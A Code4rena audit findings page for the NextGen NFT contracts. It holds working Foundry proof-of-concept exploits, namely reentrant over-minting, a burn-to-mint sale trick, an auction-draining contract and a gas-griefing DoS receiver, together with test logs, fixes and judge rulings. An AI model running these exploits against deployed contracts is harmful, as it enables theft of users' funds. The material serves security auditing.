Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 22/243
Findings: 5
Award: $602.97
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.076 USDC - $0.08
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L227-L232 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L213-L223 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L189-L200 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L236 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L270
An attacker can :
Fixed Price Sale
, Exponential Descending Sale
and Linear Descending Sale
modes.Burn-to-Mint
mode by accepting an offer when onERC721Received
is triggered.forge init --no-git --force
[profile.default] src = "smart-contracts" out = "out" libs = ["lib"]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test, console2} from "forge-std/Test.sol"; import "../smart-contracts/MinterContract.sol"; import "../smart-contracts/NextGenAdmins.sol"; import "../smart-contracts/NextGenCore.sol"; import "../smart-contracts/NFTdelegation.sol"; import "../smart-contracts/RandomizerNXT.sol"; import "../smart-contracts/XRandoms.sol"; import "../smart-contracts/IERC721Receiver.sol"; import "../smart-contracts/AuctionDemo.sol"; contract ReentrantMinter is IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { bytes32[] memory proof; operator.call( abi.encodeCall( NextGenMinterContract.mint, (1, 1, 0, "", address(this), proof, address(0), 0) ) ); return IERC721Receiver.onERC721Received.selector; } } contract ReentrantSeller is IERC721Receiver { address _coreContract; address _buyer; uint256 _burntToken; constructor(address coreContract) { _coreContract = coreContract; } function exploit(address target, address buyer, uint256 tokenId) external { _burntToken = tokenId; _buyer = buyer; target.call( abi.encodeCall( NextGenMinterContract.burnToMint, (1, tokenId, 2, 0) ) ); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Simulate sale if (_buyer != address(0) && _burntToken != tokenId) { _coreContract.call( abi.encodeCall( ERC721.transferFrom, (address(this), _buyer, _burntToken) ) ); _buyer = address(0); _burntToken = 0; } return IERC721Receiver.onERC721Received.selector; } } contract MinterContractTest is Test { NextGenMinterContract public minterContract; NextGenAdmins public adminsContract; NextGenCore public coreContract; DelegationManagementContract public nftDelegationContract; NextGenRandomizerNXT public randomizerContract; randomPool public randomsContract; auctionDemo public auctionContract; function setUp() public { vm.warp(365 days); randomsContract = new randomPool(); nftDelegationContract = new DelegationManagementContract(); adminsContract = new NextGenAdmins(); coreContract = new NextGenCore("Test", "TEST", address(adminsContract)); minterContract = new NextGenMinterContract( address(coreContract), address(nftDelegationContract), address(adminsContract) ); randomizerContract = new NextGenRandomizerNXT( address(randomsContract), address(adminsContract), address(coreContract) ); coreContract.addMinterContract(address(minterContract)); auctionContract = new auctionDemo( address(minterContract), address(coreContract), address(adminsContract) ); string[] memory scripts; coreContract.createCollection( "Collection", "Artist", "Description", "Website", "License", "Base URI", "Library", scripts ); coreContract.createCollection( "Burn to Mint Collection", "Artist", "Description", "Website", "License", "Base URI", "Library", scripts ); coreContract.setCollectionData(1, vm.addr(1), 1, 999, 0); coreContract.setCollectionData(2, vm.addr(1), 1, 999, 0); coreContract.addRandomizer(1, address(randomizerContract)); coreContract.addRandomizer(2, address(randomizerContract)); minterContract.initializeBurn(1, 2, true); minterContract.setCollectionCosts( 1, 0, 0, 0, 1 hours, 0, address(nftDelegationContract) ); minterContract.setCollectionCosts( 2, 0, 0, 0, 1 hours, 0, address(nftDelegationContract) ); minterContract.setCollectionPhases( 1, block.timestamp - 1 days, block.timestamp - 1, block.timestamp - 1, block.timestamp + 1 days, bytes32(0) ); minterContract.setCollectionPhases( 2, block.timestamp - 1 days, block.timestamp - 1, block.timestamp - 1, block.timestamp + 1 days, bytes32(0) ); } function testReentrantMint() public { ReentrantMinter reentrantMinter = new ReentrantMinter(); bytes32[] memory proof; minterContract.mint( 1, 1, 0, "", address(reentrantMinter), proof, address(0), 0 ); assertEq(coreContract.balanceOf(address(reentrantMinter)), 1, "Minted more than allowed"); } function testReentrantSell() public { ReentrantSeller reentrantSeller = new ReentrantSeller(address(coreContract)); bytes32[] memory proof; minterContract.mint( 1, 1, 0, "", address(reentrantSeller), proof, address(0), 0 ); assertEq(coreContract.balanceOf(address(reentrantSeller)), 1); reentrantSeller.exploit(address(minterContract), vm.addr(4), 10000000000); assertEq(coreContract.balanceOf(vm.addr(4)), 1, "Token was burned for the buyer"); } }
[⠘] Compiling... No files changed, compilation skipped Running 2 tests for test/MinterContract.t.sol:MinterContractTest [FAIL. Reason: Assertion failed.] testReentrantMint() (gas: 73499541) Logs: Error: Minted more than allowed Error: a == b not satisfied [uint] Left: 341 Right: 1 [FAIL. Reason: Assertion failed.] testReentrantSell() (gas: 777607) Logs: Error: Token was burned for the buyer Error: a == b not satisfied [uint] Left: 0 Right: 1 Test result: FAILED. 0 passed; 2 failed; 0 skipped; finished in 114.33ms Ran 1 test suites: 0 tests passed, 2 failed, 0 skipped (2 total tests) Failing tests: Encountered 2 failing tests in test/MinterContract.t.sol:MinterContractTest [FAIL. Reason: Assertion failed.] testReentrantMint() (gas: 73499541) [FAIL. Reason: Assertion failed.] testReentrantSell() (gas: 777607) Encountered a total of 2 failing tests, 0 tests succeeded
This shows how the token to be burned is transferred to the buyer in the sale simulation then burned afterwards.
├─ [304366] ReentrantSeller::exploit(NextGenMinterContract: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 10000000000 [1e10]) │ ├─ [269503] NextGenMinterContract::burnToMint(1, 10000000000 [1e10], 2, 0) │ │ ├─ [555] NextGenCore::viewTokensIndexMin(1) [staticcall] │ │ │ └─ ← 10000000000 [1e10] │ │ ├─ [534] NextGenCore::viewTokensIndexMax(1) [staticcall] │ │ │ └─ ← 10000000998 [1e10] │ │ ├─ [2534] NextGenCore::viewCirSupply(2) [staticcall] │ │ │ └─ ← 0 │ │ ├─ [2555] NextGenCore::viewTokensIndexMin(2) [staticcall] │ │ │ └─ ← 20000000000 [2e10] │ │ ├─ [2534] NextGenCore::viewTokensIndexMax(2) [staticcall] │ │ │ └─ ← 20000000998 [2e10] │ │ ├─ [534] NextGenCore::viewCirSupply(2) [staticcall] │ │ │ └─ ← 0 │ │ ├─ [555] NextGenCore::viewTokensIndexMin(2) [staticcall] │ │ │ └─ ← 20000000000 [2e10] │ │ ├─ [247071] NextGenCore::burnToMint(20000000000 [2e10], 1, 10000000000 [1e10], 2, 0, ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) │ │ │ ├─ [37223] NextGenRandomizerNXT::calculateTokenHash(2, 20000000000 [2e10], 0) │ │ │ │ ├─ [558] randomPool::randomNumber() [staticcall] │ │ │ │ │ └─ ← 571 │ │ │ │ ├─ [8912] randomPool::randomWord() [staticcall] │ │ │ │ │ └─ ← Pawpaw │ │ │ │ ├─ [24851] NextGenCore::setTokenHash(2, 20000000000 [2e10], 0xc1c05d04c3dea68a6d0a0a90357a1f5369f155b8646b6261e3346c6fd4db4437) │ │ │ │ │ └─ ← () │ │ │ │ └─ ← () │ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenId: 20000000000 [2e10]) │ │ │ ├─ [44464] ReentrantSeller::onERC721Received(NextGenMinterContract: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x0000000000000000000000000000000000000000, 20000000000 [2e10], 0x) │ │ │ │ ├─ [42544] NextGenCore::transferFrom(ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 10000000000 [1e10]) │ │ │ │ │ ├─ emit Transfer(from: ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], to: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, tokenId: 10000000000 [1e10]) │ │ │ │ │ └─ ← () │ │ │ │ └─ ← 0x150b7a02 │ │ │ ├─ emit Transfer(from: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, to: 0x0000000000000000000000000000000000000000, tokenId: 10000000000 [1e10]) │ │ │ └─ ← () │ │ └─ ← () │ └─ ← ()
Manual review
Follow the Checks / Effects / Interactions pattern (.e.g update tokensMintedAllowlistAddress/tokensMintedPerAddress
before calling _mintProcessing
) / add ReentrancyGuard.
Reentrancy
#0 - captainmangoC4
2023-12-08T21:36:11Z
Issue created on behalf of judge in order to split into 2 findings
#1 - c4-judge
2023-12-08T21:38:05Z
alex-ppg marked the issue as duplicate of #1517
#2 - alex-ppg
2023-12-08T21:39:05Z
The submission was split as it combines #1597 and #1517. Due to an insufficient recommendation chapter, I have opted to award it 50% of both submissions.
#3 - c4-judge
2023-12-08T21:39:10Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-09T01:49:13Z
alex-ppg changed the severity to 3 (High Risk)
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L58 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L135
An attacker to partially / totally drain funds from AuctionDemo.sol
leaving not enough / no funds to cover other auctions refunds.
participateToAuction
, claimAuction
, cancelBid
and cancelAllBids
have overlapping block.timestamp
checks. Additionally, claimAuction
opens up the door for reentrancy via onERC721Received
and receive/fallback
.
This means that when block.timestamp
equals the auction end time :
claimAuction
to claim the NFTonERC721Received
and call cancelAllBids/cancelBid
to get back his bid(s) valuereceive/fallback
upon receiving his loosing bid value and call cancelAllBids/cancelBid
to get his bid(s) value a second time.auctionDemo.balance - totalBidsForAuctionedToken
.auctionDemo.balance - totalBidsForAuctionedToken + 1
.claimAuction
.receive/fallback
upon receiving his loosing bid value and call cancelBid
to get his loosing bid value a second time.onERC721Received
upon receiving the NFT he won and call cancelBid
to get back his winning bid value.// ... contract auctionDemo is Ownable { // ... // participate to auction function participateToAuction(uint256 _tokenid) public payable { require( msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true ); // ... } // ... // claim Token After Auction function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid, this.claimAuction.selector) { require( block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true ); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i = 0; i < auctionInfoData[_tokenid].length; i++) { if ( auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true ) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); // <==== Audit : Can reenter here (bool success,) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success,) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); // <==== Audit : Can reenter here emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } } // cancel a single Bid function cancelBid(uint256 _tokenid, uint256 index) public { require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); // ... } // cancel All Bids function cancelAllBids(uint256 _tokenid) public { require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); // ... } // ... }
forge init --no-git --force
[profile.default] src = "smart-contracts" out = "out" libs = ["lib"]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test, console2} from "forge-std/Test.sol"; import "../smart-contracts/MinterContract.sol"; import "../smart-contracts/NextGenAdmins.sol"; import "../smart-contracts/NextGenCore.sol"; import "../smart-contracts/NFTdelegation.sol"; import "../smart-contracts/RandomizerNXT.sol"; import "../smart-contracts/XRandoms.sol"; import "../smart-contracts/IERC721Receiver.sol"; import "../smart-contracts/AuctionDemo.sol"; contract ReceiveBidAndCancel { function participate(address target, uint256 tokenId) external payable { target.call{value: msg.value}( abi.encodeCall(auctionDemo.participateToAuction, (tokenId)) ); } receive() external payable { msg.sender.call( abi.encodeCall(auctionDemo.cancelAllBids, (10000000000)) ); } } contract WinAndDrain is IERC721Receiver { bool _reentered; uint256 _bidsCount; function exploit( address target, uint256 tokenId, uint256 totalBids, uint256 bidsCount ) external { _bidsCount = bidsCount; uint256 balance = target.balance - totalBids; target.call{value: balance}( abi.encodeCall(auctionDemo.participateToAuction, (tokenId)) ); target.call{value: balance + 1}( abi.encodeCall(auctionDemo.participateToAuction, (tokenId)) ); target.call(abi.encodeCall(auctionDemo.claimAuction, (tokenId))); } receive() external payable { if (!_reentered) { _reentered = true; msg.sender.call( abi.encodeCall(auctionDemo.cancelBid, (10000000000, _bidsCount)) ); _reentered = false; } } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { _reentered = true; operator.call(abi.encodeCall(auctionDemo.cancelBid, (tokenId, _bidsCount + 1))); _reentered = false; return IERC721Receiver.onERC721Received.selector; } } contract WinAndCancel is IERC721Receiver { function claim(address target, uint256 tokenId) external { target.call(abi.encodeCall(auctionDemo.claimAuction, (tokenId))); } function participate(address target, uint256 tokenId) external payable { target.call{value: msg.value}( abi.encodeCall(auctionDemo.participateToAuction, (tokenId)) ); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { operator.call(abi.encodeCall(auctionDemo.cancelAllBids, (tokenId))); return IERC721Receiver.onERC721Received.selector; } receive() external payable {} } contract AuctionDemoTest is Test { NextGenMinterContract public minterContract; NextGenAdmins public adminsContract; NextGenCore public coreContract; DelegationManagementContract public nftDelegationContract; NextGenRandomizerNXT public randomizerContract; randomPool public randomsContract; auctionDemo public auctionContract; function setUp() public { vm.warp(365 days); randomsContract = new randomPool(); nftDelegationContract = new DelegationManagementContract(); adminsContract = new NextGenAdmins(); coreContract = new NextGenCore("Test", "TEST", address(adminsContract)); minterContract = new NextGenMinterContract( address(coreContract), address(nftDelegationContract), address(adminsContract) ); randomizerContract = new NextGenRandomizerNXT( address(randomsContract), address(adminsContract), address(coreContract) ); coreContract.addMinterContract(address(minterContract)); auctionContract = new auctionDemo( address(minterContract), address(coreContract), address(adminsContract) ); string[] memory scripts; coreContract.createCollection( "Collection", "Artist", "Description", "Website", "License", "Base URI", "Library", scripts ); coreContract.setCollectionData(1, vm.addr(1), 1, 999, 0); coreContract.addRandomizer(1, address(randomizerContract)); minterContract.setCollectionCosts( 1, 0, 0, 0, 1 hours, 0, address(nftDelegationContract) ); minterContract.setCollectionPhases( 1, block.timestamp - 1 days, block.timestamp - 1, block.timestamp - 1, block.timestamp + 1 days, bytes32(0) ); } function testWinAndCancel() public { WinAndCancel winAndCancel = new WinAndCancel(); minterContract.mintAndAuction( vm.addr(2), "", 0, 1, block.timestamp + 1 days ); vm.prank(vm.addr(2)); coreContract.setApprovalForAll(address(auctionContract), true); vm.deal(address(auctionContract), 1 ether); vm.deal(vm.addr(3), 1 ether); vm.startPrank(vm.addr(3)); winAndCancel.participate{value: 1 ether}( address(auctionContract), 10000000000 ); skip(1 days); uint256 balanceBefore = address(this).balance; winAndCancel.claim(address(auctionContract), 10000000000); assertEq( address(this).balance, balanceBefore, "Other bidders funds were sent to owner" ); assertEq(address(winAndCancel).balance, 0, "Winner got his bid back"); assertNotEq( coreContract.ownerOf(10000000000), address(winAndCancel), "Winner got the NFT too" ); } function testReceiveBidAndCancel() public { ReceiveBidAndCancel receiveBidAndCancel = new ReceiveBidAndCancel(); minterContract.mintAndAuction( vm.addr(2), "", 0, 1, block.timestamp + 1 days ); vm.prank(vm.addr(2)); coreContract.setApprovalForAll(address(auctionContract), true); vm.deal(vm.addr(4), 0.5 ether); vm.prank(vm.addr(4)); receiveBidAndCancel.participate{value: 0.5 ether}( address(auctionContract), 10000000000 ); vm.deal(vm.addr(3), 1 ether); vm.prank(vm.addr(3)); auctionContract.participateToAuction{value: 1 ether}(10000000000); skip(1 days); vm.prank(vm.addr(3)); auctionContract.claimAuction(10000000000); assertEq(address(receiveBidAndCancel).balance, 0.5 ether, "Loosing bidder got more than his bid back"); } function testWinAndDrain() public { WinAndDrain winAndDrain = new WinAndDrain(); minterContract.mintAndAuction( vm.addr(2), "", 0, 1, block.timestamp + 1 days ); vm.prank(vm.addr(2)); coreContract.setApprovalForAll(address(auctionContract), true); vm.deal(address(auctionContract), 1000 ether); // simulated other ongoing auctions vm.deal(address(winAndDrain), 2000 ether + 1); // Other participants vm.deal(vm.addr(3), 1 ether); vm.prank(vm.addr(3)); auctionContract.participateToAuction{value: 1 ether}(10000000000); skip(1 days); // Compute current total bids for the token auctionDemo.auctionInfoStru[] memory currentBids = auctionContract .returnBids(10000000000); uint256 totalBids; for (uint256 i; i < currentBids.length; i++) { totalBids += currentBids[i].status ? currentBids[i].bid : 0; } winAndDrain.exploit(address(auctionContract), 10000000000, totalBids, currentBids.length); assertEq(address(winAndDrain).balance, 1000 ether, "Should only have his loosing bid value"); assertEq(address(auctionContract).balance, 1000 ether, "Auction contract was drained"); } fallback() external payable {} receive() external payable {} }
[⠒] Compiling... No files changed, compilation skipped Running 3 tests for test/AuctionDemo2.t.sol:AuctionDemo2Test [FAIL. Reason: Assertion failed.] testReceiveBidAndCancel() (gas: 808144) Logs: Error: Loosing bidder got more than his bid back Error: a == b not satisfied [uint] Left: 1000000000000000000 Right: 500000000000000000 [FAIL. Reason: Assertion failed.] testWinAndCancel() (gas: 823697) Logs: Error: Other bidders funds were sent to owner Error: a == b not satisfied [uint] Left: 79228162515264337593543950335 Right: 79228162514264337593543950335 Error: Winner got his bid back Error: a == b not satisfied [uint] Left: 1000000000000000000 Right: 0 Error: Winner got the NFT too Error: a != b not satisfied [address] Left: 0xa4ad4f68d0b91cfd19687c881e50f3a00242828c Right: 0xa4ad4f68d0b91cfd19687c881e50f3a00242828c [FAIL. Reason: Assertion failed.] testWinAndDrain() (gas: 1136559) Logs: Error: Should only have his loosing bid value Error: a == b not satisfied [uint] Left: 3000000000000000000001 Right: 1000000000000000000000 Error: Auction contract was drained Error: a == b not satisfied [uint] Left: 0 Right: 1000000000000000000000 Test result: FAILED. 0 passed; 3 failed; 0 skipped; finished in 5.96ms Ran 1 test suites: 0 tests passed, 3 failed, 0 skipped (3 total tests) Failing tests: Encountered 3 failing tests in test/AuctionDemo2.t.sol:AuctionDemo2Test [FAIL. Reason: Assertion failed.] testReceiveBidAndCancel() (gas: 808144) [FAIL. Reason: Assertion failed.] testWinAndCancel() (gas: 823697) [FAIL. Reason: Assertion failed.] testWinAndDrain() (gas: 1136559) Encountered a total of 3 failing tests, 0 tests succeeded
Manual Review
Fix the block.timestamp
check in claimAuction
.
Timing
#0 - c4-pre-sort
2023-11-14T14:25:05Z
141345 marked the issue as duplicate of #289
#1 - c4-pre-sort
2023-11-14T23:32:21Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-04T21:40:43Z
alex-ppg marked the issue as duplicate of #1323
#3 - c4-judge
2023-12-08T18:11:49Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0xAsen, 0xDetermination, 0xJuda, 0xWaitress, 0xhunter, 0xlemon, 0xpiken, Al-Qa-qa, Arabadzhiev, CSL, CaeraDenoir, DarkTower, DeFiHackLabs, Greed, Haipls, MaNcHaSsS, NentoR, NoamYakov, PENGUN, Ruhum, Soul22, SovaSlava, Talfao, Toshii, TuringConsulting, VAD37, Vagner, Valix, Viktor_Cortess, ZdravkoHr, audityourcontracts, btk, codynhat, flacko, funkornaut, glcanvas, gumgumzum, immeas, innertia, ke1caM, lanrebayode77, lsaudit, mrudenko, niki, nmirchev8, openwide, oualidpro, r0ck3tz, rvierdiiev, trachev, yojeff
2.7688 USDC - $2.77
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120
After the auction ends :
This can be executed in a similar manner by both the winner (via onERC721Received
) or a bidder (via receive / fallback
) but I will only focus on the latter in the tests.
The attacker can create one or multiple low value bids from a contract that either consumes all forwarded gas or returns/reverts with an oversized data (to make the caller consume gas storing it in memory) when its fallback is triggered.
forge init --no-git --force
[profile.default] src = "smart-contracts" out = "out" libs = ["lib"]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test, console2} from "forge-std/Test.sol"; import "../smart-contracts/MinterContract.sol"; import "../smart-contracts/NextGenAdmins.sol"; import "../smart-contracts/NextGenCore.sol"; import "../smart-contracts/NFTdelegation.sol"; import "../smart-contracts/RandomizerNXT.sol"; import "../smart-contracts/XRandoms.sol"; import "../smart-contracts/IERC721Receiver.sol"; import "../smart-contracts/AuctionDemo.sol"; contract AuctionDoSer { function participate(address target, uint256 tokenId) external payable { target.call{value: msg.value}( abi.encodeCall(auctionDemo.participateToAuction, (tokenId)) ); } receive() external payable { while (true) {} } // Alternatively, return as much data as possible without running out of gas // receive() external payable { // uint256 rsize = sqrt((gasleft() / 2) * 512); // assembly { // return(0x0, mul(rsize, 0x20)) // } // } // function sqrt(uint x) private returns (uint y) { // uint z = (x + 1) / 2; // y = x; // while (z < y) { // y = z; // z = (x / z + z) / 2; // } // } } contract AuctionDemoTest is Test { NextGenMinterContract public minterContract; NextGenAdmins public adminsContract; NextGenCore public coreContract; DelegationManagementContract public nftDelegationContract; NextGenRandomizerNXT public randomizerContract; randomPool public randomsContract; auctionDemo public auctionContract; function setUp() public { vm.warp(365 days); randomsContract = new randomPool(); nftDelegationContract = new DelegationManagementContract(); adminsContract = new NextGenAdmins(); coreContract = new NextGenCore("Test", "TEST", address(adminsContract)); minterContract = new NextGenMinterContract( address(coreContract), address(nftDelegationContract), address(adminsContract) ); randomizerContract = new NextGenRandomizerNXT( address(randomsContract), address(adminsContract), address(coreContract) ); coreContract.addMinterContract(address(minterContract)); auctionContract = new auctionDemo( address(minterContract), address(coreContract), address(adminsContract) ); string[] memory scripts; coreContract.createCollection( "Collection", "Artist", "Description", "Website", "License", "Base URI", "Library", scripts ); coreContract.setCollectionData(1, vm.addr(1), 1, 999, 0); coreContract.addRandomizer(1, address(randomizerContract)); minterContract.setCollectionCosts( 1, 0, 0, 0, 1 hours, 0, address(nftDelegationContract) ); minterContract.setCollectionPhases( 1, block.timestamp - 1 days, block.timestamp - 1, block.timestamp - 1, block.timestamp + 1 days, bytes32(0) ); } function testAuctionDoS() public { AuctionDoSer auctionDoSer = new AuctionDoSer(); minterContract.mintAndAuction( vm.addr(2), "", 0, 1, block.timestamp + 1 days ); vm.prank(vm.addr(2)); coreContract.setApprovalForAll(address(auctionContract), true); vm.deal(vm.addr(4), 1 ether); vm.prank(vm.addr(4)); auctionDoSer.participate{value: 1 wei}( address(auctionContract), 10000000000 ); vm.deal(vm.addr(3), 1 ether); vm.prank(vm.addr(3)); auctionContract.participateToAuction{value: 1 ether}(10000000000); skip(1 days); vm.prank(vm.addr(3)); auctionContract.claimAuction{gas: 1500000}(10000000000); } fallback() external payable {} receive() external payable {} }
├─ [1499758] auctionDemo::claimAuction(10000000000 [1e10]) │ ├─ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall] │ │ └─ ← 31622400 [3.162e7] │ ├─ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall] │ │ └─ ← true │ ├─ [625] NextGenCore::ownerOf(10000000000 [1e10]) [staticcall] │ │ └─ ← 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF │ ├─ [1430339] AuctionDoSer::receive{value: 1}() │ │ └─ ← "EvmError: OutOfGas" │ ├─ emit Refund(_add: AuctionDoSer: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], status: false, funds: 1000000000000000000 [1e18]) │ ├─ [4268] NextGenCore::safeTransferFrom(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, 10000000000 [1e10]) │ │ └─ ← "EvmError: OutOfGas" │ └─ ← "EvmError: Revert" └─ ← "EvmError: Revert"
Manual Review
transferFrom
instead of safeTransferFrom
to send the NFT to the winnerDoS
#0 - c4-pre-sort
2023-11-15T08:04:45Z
141345 marked the issue as primary issue
#1 - c4-pre-sort
2023-11-16T13:43:19Z
141345 marked the issue as duplicate of #486
#2 - c4-judge
2023-12-01T22:43:30Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-01T22:43:44Z
alex-ppg marked the issue as duplicate of #1782
#4 - c4-judge
2023-12-08T20:53:27Z
alex-ppg marked the issue as satisfactory
504.3946 USDC - $504.39
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerVRF.sol#L66 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerRNG.sol#L49
Token hash will be set to the first generated random number regardless of how many were generated or the token id, possibly leading to different tokens having the same hash.
// RandomizerVRF.sol function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override { gencoreContract.setTokenHash( tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], bytes32(abi.encodePacked(_randomWords, requestToToken[_requestId])) // <==== ); emit RequestFulfilled(_requestId, _randomWords); }
// RandomizerRNG.sol function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override { gencoreContract.setTokenHash( tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers, requestToToken[id])) // <==== ); }
Manual Review
Use keccak256
instead of bytes32
to compute the hash (similar to what's done in RandomizerNXT.sol).
Other
#0 - c4-pre-sort
2023-11-19T12:12:39Z
141345 marked the issue as duplicate of #852
#1 - c4-judge
2023-12-06T15:56:15Z
alex-ppg changed the severity to QA (Quality Assurance)
#2 - c4-judge
2023-12-10T14:25:43Z
This previously downgraded issue has been upgraded by alex-ppg
#3 - c4-judge
2023-12-10T14:26:24Z
alex-ppg marked the issue as duplicate of #1688
#4 - c4-judge
2023-12-10T14:28:47Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: ast3ros
